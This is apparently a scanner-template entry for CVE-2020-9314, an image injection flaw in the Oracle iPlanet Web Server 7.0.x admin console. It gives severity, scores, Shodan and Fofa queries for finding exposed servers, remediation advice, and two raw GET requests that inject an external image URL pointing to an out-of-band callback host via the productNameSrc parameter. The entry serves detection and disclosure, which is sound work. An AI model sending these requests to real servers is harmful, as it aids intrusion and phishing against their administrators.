| Title | Oracle iPlanet Web Server 7.0.x - Image Injection |
|---|---|
| Author | DhiyaneshDk |
| Severity | Medium |
| Impact | Attackers can inject malicious images into the admin console, potentially leading to social engineering, phishing attacks, or interface manipulation. |
| Remediation | Oracle iPlanet Web Server 7.0.x is no longer supported. Migrate to a supported platform or restrict network access to the administration console. |
| CVSS Score | 4.8 |
| EPSS Score | 0.41294 |
| CVE ID | CVE-2020-9314 |
| CWE ID | CWE-79 |
| Shodan Query | Oracle-iPlanet-Web-Server |
| Fofa Query | app="Oracle-iPlanet-Web-Server" |
| Tags | cve cve2020 oracle iplanet injection |
Oracle iPlanet Web Server 7.0.x allows image injection in the Administration console via the productNameSrc parameter to an admingui URI. This issue exists because of an incomplete fix for CVE-2012-0516.
GET /admingui/version/Version?productNameSrc=http://d5s0pp9le0o4o66p3ka0wdxjt9zn76t1x.oast.pro/test.jpg&productNameHeight=500&productNameWidth=500 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.4
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /admingui/version/Masthead.jsp?productNameSrc=http://d5s0pp9le0o4o66p3ka0jywkd3n8chwm4.oast.pro/test.jpg&productNameHeight=500&productNameWidth=500 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/118.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-9314.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-9314.pcap
N/AN/A